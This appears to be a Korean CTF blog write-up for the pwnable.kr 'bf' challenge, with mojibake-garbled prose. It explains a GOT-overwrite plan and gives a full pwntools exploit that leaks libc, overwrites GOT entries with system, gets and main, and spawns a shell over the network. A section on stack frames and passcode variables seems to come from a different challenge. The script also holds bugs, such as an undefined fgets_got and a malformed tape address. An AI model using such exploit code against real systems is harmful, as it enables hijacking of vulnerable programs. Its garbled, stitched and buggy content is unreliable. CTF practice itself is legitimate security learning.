brain fuck_WriteUp
๋ณด์๋ฉด.. ๋ด๊ฐ C๋ก ๊ฐ๋ฐํ ๋ฉ์ฒญํ ์ ๋ฎฌ๋ ์ด์
ํ๋ก๊ทธ๋จ์ ๋ง๋ค์์ด์..
[] ๋ช
๋ น์ด ์์ง ๊ตฌํํ์ง ์์์ง๋ง ๋๋จธ์ง ๊ธฐ๋ฅ์ ์ ์์ ์ผ๋ก ์๋ํ๋ ๋ฏ?
๋ฒ๊ทธ๋ฅผ ์ฐพ์์ ์
ธ์ ์ป์ด๋ณด์์.. ๋ผ๊ณ ํ๋ค์(์ง๊ฐ ๋ง๋ ๊ฑฐ๋ฅผ?)
ํ์ผ์ ๋ฐ์์ ์ด์ด๋ณด๋๊น.. ์คํํ์ผ์ด๊ณ ๋ฆฌ๋ฒ์ฑ ํ ๋ถ๋ถ์ด ๋๋ฌด ๋ง์์ IDA ์ฌ์ฉ!
์ฐธ๊ณ ๋ก ์ ๋ ๋ฆฌ๋ฒ์ฑ ๋ ๋ ์ด๋ผ์ ๋๋ฝ๊ฒ ๋ชปํ๊ฑฐ๋ ์ ๊ทธ๋์ ๊ธธ์ด์ง๋ฉด.. ํ๊ท ใ
์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ์ฐ๋ฆฌ ๋๋ฆผ์ด ๋ฌธ์ ๋ ๋น์ทํ๋ค์ ์น์ํด ํ์ผ ๋ถ๋ฌ์ค๊ณ
๋ฐ๋ณต๋ฌธ์์ do_brainfuck์ ์งํํ๋๋ฐ ๋๋จธ์ง๋ ํ์์ ์ธ ๋ด์ฉ์ด๊ณ ์ด ๋ถ๋ถ์ด ํต์ฌ!
๋ณด์๋ฉด ํฌ์ธํฐ์ ์์น ๊ฐ๊ฐ ๋ถ๋ถ์ ํตํด ํ๋ฆ์ ์ ์ดํ๋ ๊ฒ์ด๊ตฌ๋..
๋ํ . ์ ํตํด ํด๋น ์ฃผ์์ ์๋ ๊ฐ์ ์ถ๋ ฅํ๋๊ฑฐ๊ตฌ๋(๋ง์ ์ฝ๊ฐ ํด๊น๋ฆฌ๊ฒ.. ์ ์๋ค)
๊ทธ๋ผ ์ด๋ป๊ฒ ๋ณดํธ๊ธฐ๋ฒ์ ๋ณด๋ฉฐ ์ด๋ค ์ฐํ๊ธฐ๋ฒ์ ์ฌ์ฉํ ์ง ์๊ฐํด๋ด
์๋ค.
์์ ๋ณด์๋ฉด ์ธ๋ถ ๋ช
๋ น์ด ๋ถ๊ฐ(NX)์ด๋ฉฐ, ์นด๋๋ฆฌ๊ฐ ๊ฑธ๋ ค์์ผ๋ฏ๋ก์จ ์๋นํ ๋ํดํฉ๋๋ค.
๊ทธ๋ฌ๋ Partial RELRO์ PIE๊ฐ ์ ์ฉ๋์ด ์์ง ์๊ธฐ์ RTL์ด ๊ฐ๋ฅํฉ๋๋ค.
์ ํฌ๋ system ํจ์๊ฐ ์๊ธฐ์ lib์์ ๋ฐ์์์ผํ๋ฏ๋ก GOT Overwrite๋ฅผ ํ๊ฒ ์ต๋๋ค.
Exploit design(Senario)
๊ทธ๋ผ ์๊น "><"๋ก ์ฃผ์๊ฐ์ p์ ํฌ์ธํฐ ์์น์์ ์ฎ๊ธธ ์ ์๋ค๋ ์ ์ ์ง์คํ๋ฉฐ,
์ด๋ ต๊ฒ ์๊ฐํ์ง ๋ง์๊ณ ๊ฐ๋จํ๊ฒ mainํจ์์์ ์์๋๋๊น..
Senario
- memset_got → gets() ํจ์๋ก ๋ฎ์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ /bin/sh(bss ์์ญ)์ ๋ฃ์ต๋๋ค.
- fgets_got → system() ํจ์๋ก ๋ฎ์ต๋๋ค.
- ์ด ๋ ๋ถ๋ถ์ file์ ๋ถ๋ฌ๋ค์ด๋ ๋ถ๋ถ์ผ๋ก flag๋ฅผ ๋ถ๋ฌ์ค๋ ๊ฒ์ด๊ฒ ์ฃ ? - putchar_got(ํด๋น ์ฃผ์์ ์์น์ ๊ฒฐ๊ณผ๋ฅผ ์ถ๋ ฅํ๋๊น) → main() ํจ์๋ก ๋ฎ์
- ๊ทธ๋์ผ ์ฐ๋ฆฌ๊ฐ ์ํ๋ 1๋ฒ์ ๋ณ์กฐ๋ ๊ฐ์ผ๋ก ๋ค์ ๋ฐํ๋๊ฒ ์ฃ ?
๋จผ์ bss ์์ญ์ ํ์ธํด๋ด ์๋ค(/bin/sh)
b์์ ๋ณด์๋ฉด ๋ฉ๋๋ค ์ฌ๊ธฐ์ ์ ํฌ๋ ์ ํฌ๊ฐ ์ํ๋ ๋ฌธ์์ด์
์ฝ์
ํ ๊ฒ์ด๊ธฐ์ ๋น์ด์๋ ๋ถ๋ถ์ ์ฐพ์์ผํฉ๋๋ค.
๋ฐ๋ก tape๊ฐ ์๋ ์์ญ์ด ์์ ํ ๋น์ด์๋ ๋ชจ์ต์
๋๋ค. ์ด ๋ถ๋ถ์ ์ฌ์ฉํ๋ฉด ๋๊ฒ ๊ตฐ์
๊ทธ๋ผ ๋๋จธ์ง ์๋ ์ด๋ฏธ์ง๋ก memset_got๋ถ๋ถ๊ณผ fgets์์ ๊ทธ๋ฆฌ๊ณ putchar_got ๋ถ๋ถ์ ํ์ธํฉ์๋ค.
๊ทธ๋ฆฌ๊ณ ์ ํฌ bss์์ญ์ ์ฌ์ฉ๋ tape ๋ถ๋ถ์ ์ฃผ์๋ก์จ ๋๋จธ์ง got๋ data
๊ทธ๋ผ ์ ํฌ๋ ์ ์ฝ๋๋ฅผ ๋ณด๊ณ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๊ฐ ๋๋ต ์ด๋ป๊ฒ ๋์ด์๋์ง ์ถ๋ก ์ด ๊ฐ๋ฅํฉ๋๋ค.
welcome func stack frame | esp | welcome func syscall |
- name[100] - | ebp(ebp-0x70) | - |
welcome sfp - ret | - | welcome func end |
login func stack frame | esp | login func syscall |
- passcode1, passcode2 - | ebp(ebp-0x10 & 0xc) | - |
login func sfp - ret | - | login func end |
main func stack frame | - | main func syscall |
main sfp - ret | - | main func end |
๊ทธ๋ฆฌ๊ณ ์คํ์ esp๊ฐ welcome(0x88)๊ณผ login(0x28)์ ์ฐจ์ด๊ฐ 0x60(96)์ผ๋ก
์ฐจ์ด๊ฐ 0x4(4)๋งํผ ์ฐจ์ด๊ฐ ์๊น๋๋ค. ์ ์ ๋ ๊ฒ ๊ณ์ฐํด์ ์ ๋ ๊ฒ ๋์๋.. ๊ทธ๋ผ gdb๋ก ํ์ธํ๋ฉด
๊ทธ๋ผ ์ฐ๋ฆฌ๋ ์ด ๋ ์ด๋ฏธ์ง๋ฅผ ํตํด ํ์ธํ ์ ์์ต๋๋ค
Welcome stack frame
dummy(24byte) | esp(0xffffce10) |
name buff(100byte) | start(0xffffce28) |
dummy(12byte) | ebp(0xffffce98) |
์ ์์น์ login๋ ํ์ธ์ ํ๋ฉด..
ebp์ ์ฃผ์๊ฐ ๊ฐ๋ค๋ ์ ์ ์ ์ ์์ผ๋ฉฐ(๋น์ฐํ ๋ฐ๋ก ๋ถ๋ฌ์์ผ๋๊น.. ๊ทธ๋ด ๊ฐ๋ฅ์ฑ์ด ๋๊ฒ ์ฃ ?)
๋ํ ํด๋น esp๊ฐ welcome์ ebp์ ์ฃผ์์ ํฌํจ๋์ด ์์ต๋๋ค ์์ธํ๊ฒ ๋ด
์๋ค.
๋ณด์๋ฉด scanf์ passcode๊ฐ ๋ค์ด๊ฐ๋๋ฐ ๋ฐ์ disass์ ๋ณด์๋ฉด edx-0x10์ ๋ค์ด๊ฐ๋ค์
๊ทธ๋ฌ๋ฉด ์ข
ํฉํ์ฌ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๊ตฌ์ํด๋ณด๋ฉด..
login stack frame
dummy(24byte) | esp(0xffffce70) |
passcode1(4byte) | esp(0xffffce88) |
passcode2(4byte) | start(0xffffce8c) |
dummy(12byte) | ebp(0xffffce98) |
์ ์ฝ๋๊ฐ ๋งค์ฐ ์ค์ํ ์ทจ์ฝ์ ์ ์ฝ๋์
๋๋ค. ๋ํ ๋ฉ์ธํจ์์์ welcome๊ณผ login ํจ์๊ฐ
์คํ๋๋๋ฐ ๋ฉ๋ชจ๋ฆฌ์ ๊ตฌ์กฐ๋ฅผ ๋น๊ตํ๋ฉด name[95-99]๊น์ง ๊ณต์ ๋๋ค๋ ์
๊ทธ๋ฆฌ๊ณ scanf์์ & ๋ผ๋ ์ธ์๋ฅผ ์ ๋ฃ์ผ๋ฏ๋ก์จ ํด๋น ์ฃผ์์ ๊ฐ์ด ์
๋ ฅ๋๋ ์
๊ทธ๋ผ if์กฐ๊ฑด์ ๋ง์ถฐ์ผ๊ฒ ์ฃ (NX๊ฑธ๋ ค์์ด์) ๋ค๋ฅธ ๊ณต๊ฒฉ๊ธฐ๋ฒ๋ ๋ ๊ฑฐ ๊ฐ์๋ฐ ์ด๋ ๊ฒ ํด๋ด
์๋ค.
NOP(0x90)*0x60(96byte) + fflush_got(4byte) + system_addr(4byte)
๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค. pwntool๋ฅผ ํ์ฉํ์ฌ payload๋ฅผ ์์ฑํด๋ด ์๋ค.
์์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด ์ด๋ป๊ฒ ์ฃผ์๋ฅผ ์ฐพ์๋์ง ํ์ธ ํ ์ ์์ต๋๋ค.
Exploit code
from pwn import*
context(arch='i386',os='linux')
context.log_level = 'debug'
host = 'pwnable.kr'
port = 9001
r = remote(host,port)
libc = ELF('./libc.so')
elf = ELF('./bf')
tape = 0x0804a0a0f
gets_got = 0x0804A010
memset_got = 0x0804A02C
putchar_got = 0x0804A030
payload = "<" * (tape - fgets_got) # go to fgets
payload += ".>" * 4 # print fgets addr
payload += "<" * 4 # go to fgets
payload += ",>" * 4 # Overwrite fgets -> system
payload += "<" * 4 # go to fgets
payload += ">" * (memset_got - fgets_got) #go to memset
payload += ",>" * 4 # Overwrite gets
payload += "<" * 4 # go to memset
payload += ">" * (putchar_got - memset_got) # go to putchar
payload += ",>" * 4 #Overwrite putchar -> main_addr
payload += "." #run putchar() = main
print('payload : '+payload)
#r.recvline_startswith('type')
r.recvuntil(']\n')
r.sendline(payload)
#recvn = Receive exactly N bytes
fgets_addr = r.recvn(4)[::-1].encode('hex')
log.info('fgets_addr = '+(fgets_addr))
libc_base = int(fgets_addr,16) - libc.symbols['fgets']
log.info('libc_addr = '+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.info('system_addr = '+hex(system_addr))
gets_addr = libc_base + libc.symbols['gets']
log.info('gets_addr ='+hex(gets_addr))
main_addr = elf.symbols['main']
r.send(p32(system_addr))
r.send(p32(gets_addr))
r.send(p32(main_addr))
r.sendline('/bin/sh\x00')
r.interactive()
์ฝ๋์ ๊ตฌ์ฑ์ ์์์ ๋ค ์ค๋ช
ํ์ผ๋ฏ๋ก ํต์ฌ๋ง ์ง์ด๋ด
์๋ค.
๋ํ ํ์ด์ฌ ๋ฒ์ ์ด์๊ฐ ์ข ์์ด์.. ์ํฉ์ ๊ธธ์ด์.. ํ.. ๋ณด์ํ๊ธฐ ํ๋๋ค์
์์ ์๋ฃ๋ฅผ ๋ณด์๊ณ ํ์ด์ฌ ๋ฒ์ ์ ๋ณ๊ฒฝํด์ฃผ์ธ์ ใ
์.. ๊ทธ๋ฆฌ๊ณ ์ ์์ ์ต์ค๋ ์๋ก ์ด๋ฏธ์ง๊ฐ ๋ค๋ฅธ ์ด์ค ์๋ ์์ฑํด์ ํ ๋ผ๊ณ ํ๋๋ฐ.. ์๊ฐ๊ด๊ณ์
๋๋ฌด ์๋์ ์ด์ .. ์์ ์ฝ๋๋ก(์ ค ์ฒ์์ ์์ฑํ๊ณ ์ค๊ณํ๊ณ ํด๋ณธ ์ฝ๋) ์คํํ์ต๋๋ค.
๋ํ ์ต์ค ๊ตฌ์กฐ ๋ฐ ์ค๊ณ๋ ๋๊ฐ๊ณ ์ด์ ๋ณด๊ธฐ ์ข๊ฒ ๊พธ๋ฏธ๊ณ
์์ฑํ ๋ถ๋ถ์ด ์๊น์์.. ์ฌ์ฉํ๊ฒ ์ต๋๋ค
์ฌ๊ธฐ์ do_bf using func๋ถ๋ถ์ '<'ptr์ ์์ด ์ฝ์ด ๋ฑ์ผ๋ก ๊ตฌ์ฑ๋์ด ํด๋น ํฌ์ธํฐ ์์น ๋ณ์กฐ ๋ฐ ์ฝ์
๋๋จธ์ง๋ ์ทจ์์ฐจ์ด๋ฉฐ ๋ถ์์ ์ผ๋ก ํ์ํ ์ฃผ์์ ํ์์ ์ก์์ต๋๋ค.
ํด๋น 35๋ฒ์งธ ์ค์ ๋ณด์๋ฉด tape๋ฅผ ํฌํจ ์ฌ์ฉ๋๋ ๋ชจ๋ ํจ์์ got๋ ์ฌ๊ธฐ์ .bss์์ญ์ ์์นํ๋ฉฐ,
์ฌ๊ธฐ์ tape๊ฐ ์์ ์ฃผ์์ ์ ์ฌ๋์ด ์์ผ๋ฏ๋ก ํด๋น ํ์์ผ๋ก ํ์์ต๋๋ค.
๋๋จธ์ง๋ ํด๋น ์ฃผ์์ ๋ณด์๋ฉด ๋๋ ๋ถ๋ถ์ด๊ธฐ ๋๋ฌธ์ ๋ค์์ผ๋ก ๋์ด๊ฐ๋ค๋ฉด
๋ฐ๋ ๋ถ๋ถ(์ ๋ถ๋ถ์์ encoding ๋ฌธ์ ๋ค ๋ญ๋ด ๋ฒ์ ์ ๋ง๋๋ค๋ ๋ญ๋ ์ง์ง ํ๋์ ์ฐ๋ฌ์ง ๋ป)
์ด์ ์ dreamhack์ ์์คํ
๋ก๋๋งต ๋ง์ง๋ง ๋ฌธ์ ๋ ๋น์ทํ ๋ฌธ์ ๋ก ํ๋ค์๋๋ฐ
ํ.. ์ด๋ฐ ๋ฌธ์ ๋ ๋๋ฌด python3์ด์๋ฉด ์ ์ฒ๋ผ ํ์
๋ ๋ฉ๋๋ค(์ด์ ์ python2๋ก ํด์ผ ๋๋ ๊ฒฝ์ฐ๋ ๋ญ๋??)
๋๋จธ์ง ๋ถ๋ถ๋ lb๊ตฌํ๊ณ ๊ทธ๊ฒ์ ํ ๋๋ก ๋๋จธ์ง ํ์ํ ๋ถ๋ถ์ ์ค์ ์ฃผ์๋ ๊ตฌํ ๋ชจ์ต์
๋๋ค.
๊ทธ๋ฆฌ๊ณ ์คํํฉ๋๋ค.
๋ง์ง๋ง์ ๋ถ๋ถ์ bss์์ญ์ ๋ค์ด๊ฐ๋ผ๊ณ ํ๋ ๊ฒ๋๋ค.(tape๊ฐ bss์์ญ์ด๋ฏ๋ก)
python2.7๋ฒ์ ์ฌ์ฉํ์ต๋๋ค.
pwntools.. ํํ
์๋ค์ ์ก
๋ธ๋ ์ธํฝ(Brainfuck)์ ์ฐ์ด๋ฐ ๋ฎ๋ฌ(Urban Müller)๊ฐ 1993๋ ๊ฒฝ์ ๋ง๋ ์ต์์ฃผ์ ์ปดํจํฐ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด
์ด๋ฉฐ ์ค์ ๋ก ์ฐ๋ฆฌ๊ฐ ํ๊ฑฐ๋ ๋๊ฐ๋ค์ ใทใท
์์ธํ ๋ด์ฉ์ ์๋์ ๊ธฐ์ฌ๋์ด ์์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐ชโPwnable.kr' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Rookiss]loveletter (0) | 2022.11.20 |
---|---|
[Rookiss]echo1 (0) | 2022.11.20 |
[Toddle]fd (0) | 2022.11.19 |
[Toddle]passcode (0) | 2022.11.19 |
[Toddle]collision (0) | 2022.11.19 |